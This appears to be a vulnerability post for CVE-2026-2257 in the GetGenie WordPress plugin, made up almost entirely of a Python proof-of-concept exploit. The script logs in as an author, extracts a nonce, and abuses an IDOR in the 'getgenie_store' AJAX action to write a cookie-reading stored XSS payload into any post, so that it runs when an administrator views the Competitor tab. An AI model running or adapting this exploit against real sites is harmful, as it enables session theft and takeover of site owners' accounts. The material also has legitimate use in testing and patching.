CVE-2026-2257 WordPress GetGenie插件IDOR+存储型XSS漏洞

import requests import sys # CVE-2026-2257 PoC - GetGenie IDOR + Stored XSS # Target: WordPress with GetGenie plugin <= 4.3.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_author" PASSWORD = "attacker_password" TARGET_POST_ID = 123 # Target post ID to inject XSS XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def get_nonce(url, username, password): """Login and get WordPress nonce""" session = requests.Session() login_url = f"{url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Get nonce from admin or plugin page admin_url = f"{url}/wp-admin/admin.php?page=getgenie_dashboard" resp = session.get(admin_url) # Extract nonce from page content import re nonce_match = re.search(r'nonce":"([a-zA-Z0-9]+)"', resp.text) if nonce_match: return session, nonce_match.group(1) return session, None def exploit_idor_xss(url, session, nonce, post_id, payload): """Exploit IDOR to update arbitrary post metadata with XSS""" exploit_url = f"{url}/wp-admin/admin-ajax.php" # Construct the malicious request data = { "action": "getgenie_store", "_wpnonce": nonce, "post_id": post_id, # IDOR: can target any post "competitor": payload # XSS payload } response = session.post(exploit_url, data=data) return response.status_code == 200 if __name__ == "__main__": print(f"[*] CVE-2026-2257 PoC - GetGenie IDOR + Stored XSS") print(f"[*] Target: {TARGET_URL}") print(f"[*] Targeting post ID: {TARGET_POST_ID}") session, nonce = get_nonce(TARGET_URL, USERNAME, PASSWORD) if not nonce: print("[-] Failed to obtain nonce") sys.exit(1) print("[+] Logged in successfully") if exploit_idor_xss(TARGET_URL, session, nonce, TARGET_POST_ID, XSS_PAYLOAD): print(f"[+] XSS payload injected into post {TARGET_POST_ID}") print(f"[+] Payload will execute when admin views Competitor tab") else: print("[-] Exploitation failed")